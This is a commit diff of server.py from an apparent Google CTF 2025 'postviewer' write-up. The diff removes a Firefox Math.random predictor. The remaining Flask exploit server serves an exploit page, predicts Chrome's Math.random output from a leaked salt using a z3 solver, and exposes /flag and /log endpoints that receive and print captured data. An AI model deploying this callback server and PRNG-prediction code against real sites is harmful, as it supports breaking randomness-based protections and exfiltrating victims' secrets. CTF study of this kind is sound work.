Skip to content

Commit 413e287

Browse files
authored
Update server.py
1 parent 061b72d commit 413e287

File tree

1 file changed

+12
-102
lines changed
  • content/writeups/GoogleCTF2025/postviewer

1 file changed

+12
-102
lines changed

content/writeups/GoogleCTF2025/postviewer/server.py

Lines changed: 12 additions & 102 deletions
Original file line numberDiff line numberDiff line change
@@ -149,74 +149,6 @@ def test_chrome_predict():
149149

150150
test_chrome_predict()
151151

152-
# Firefox predictor based on:
153-
# - https://github.com/mkutay/spidermonkey-randomness-predictor/blob/main/main.py
154-
155-
def solve_math_random_ff(sequence):
156-
solver = z3.Solver()
157-
158-
se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)
159-
160-
for i in range(len(sequence)):
161-
se_s1 = se_state0
162-
se_s0 = se_state1
163-
se_s1 ^= se_s1 << 23
164-
se_s1 ^= z3.LShR(se_s1, 17)
165-
se_s1 ^= se_s0
166-
se_s1 ^= z3.LShR(se_s0, 26)
167-
se_state0 = se_state1
168-
se_state1 = se_s1
169-
calc = se_state1 + se_state0
170-
171-
mantissa = sequence[i] * (0x1 << 53)
172-
173-
solver.add(int(mantissa) == (calc & 0x1FFFFFFFFFFFFF))
174-
175-
if solver.check() == z3.sat:
176-
model = solver.model()
177-
178-
states = {}
179-
for state in model.decls():
180-
states[state.__str__()] = model[state]
181-
182-
return states["se_state0"].as_long(), states["se_state1"].as_long()
183-
184-
def iter_math_random_ff(state0, state1):
185-
MASK = 0xFFFFFFFFFFFFFFFF
186-
187-
while True:
188-
s1 = state0 & MASK
189-
s0 = state1 & MASK
190-
s1 ^= (s1 << 23) & MASK
191-
s1 ^= (s1 >> 17) & MASK
192-
s1 ^= s0 & MASK
193-
s1 ^= (s0 >> 26) & MASK
194-
state0 = state1 & MASK
195-
state1 = s1 & MASK
196-
gen = (state0 + state1) & MASK
197-
198-
yield float(gen & 0x1FFFFFFFFFFFFF) / (0x1 << 53)
199-
200-
201-
def test_firefox_predict():
202-
# A few random numbers generated by Firefox. The predictor should be
203-
# able to calculate the last number, given the previous ones.
204-
TEST_CASE = [
205-
0.8431670449485892,
206-
0.43385289233085145,
207-
0.7674771743931095,
208-
0.9826449278522053,
209-
0.867667470753005
210-
]
211-
212-
state0, state1 = solve_math_random_ff(TEST_CASE[:-1])
213-
iter = iter_math_random_ff(state0, state1)
214-
preds = [next(iter) for i in range(0,5)]
215-
216-
assert preds[-1] == TEST_CASE[-1], f"{preds[-1]} != {TEST_CASE[-1]}"
217-
218-
test_firefox_predict()
219-
220152
import itertools
221153

222154
def chunks(s, lengths):
@@ -247,26 +179,13 @@ def chrome_predict_salt(salt, n=5):
247179
except:
248180
pass
249181

250-
def firefox_predict_salt(salt, n=5):
251-
for lens in itertools.product([11, 10, 12, 9], repeat=5):
252-
if sum(lens) != len(salt): continue
253-
nums = list(chunks(salt, lens))
254-
nums = [base36_to_double(n) for n in nums]
255-
# print(nums)
256-
try:
257-
state0, state1 = solve_math_random_ff(nums)
258-
iter = iter_math_random_ff(state0, state1)
259-
return [next(iter) for i in range(0,n+5)]
260-
except:
261-
pass
262182

263-
264-
from flask import Flask, send_file
183+
from flask import Flask, send_file, jsonify
265184
import time
266-
import os # <<< This import is important
185+
import os
267186

268-
# Get the absolute path of the directory where the script is located
269-
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
187+
# : Hardcoded path for the cloud server, edit as per your requirement
188+
SCRIPT_DIR = '/home/garyalisanat'
270189

271190
app = Flask(__name__)
272191

@@ -281,32 +200,23 @@ def sleep(ms):
281200

282201
@app.route("/exploit-eolldodkgm9")
283202
def exploit():
284-
# Use the absolute path to the file
285203
return send_file(os.path.join(SCRIPT_DIR, 'exploit-chrome.html'))
286204

287-
@app.route("/exploit-ff-eolldodkgm9")
288-
def exploitff():
289-
# Use the absolute path to the file
290-
return send_file(os.path.join(SCRIPT_DIR, 'exploit-firefox.html'))
291-
292205
@app.route("/predict/<salt>")
293206
def predict(salt):
294207
predictions = chrome_predict_salt(salt, 5000) or []
295-
return predictions
296-
297-
@app.route("/predict-ff/<salt>")
298-
def predict_ff(salt):
299-
predictions = firefox_predict_salt(salt, 5000) or []
300-
return predictions
301-
208+
return jsonify(predictions)
209+
302210
@app.route("/test")
303211
def test():
304-
# This file might not exist, but we fix the path anyway
305-
return send_file(os.path.join(SCRIPT_DIR, 'test-random.html'))
212+
try:
213+
return send_file(os.path.join(SCRIPT_DIR, 'test-random.html'))
214+
except FileNotFoundError:
215+
return "File not found", 404
306216

307217
@app.route("/flag/<flag>")
308218
def say_flag(flag):
309-
print(flag)
219+
print("FLAG CAPTURED:", flag)
310220
return "Hello"
311221

312222
@app.route("/log/<l>")
@@ -315,4 +225,4 @@ def log(l):
315225
return "Hello"
316226

317227
if __name__ == '__main__':
318-
app.run(host='0.0.0.0', port='80')
228+
app.run(host='0.0.0.0', port='80')

0 commit comments

Comments
 (0)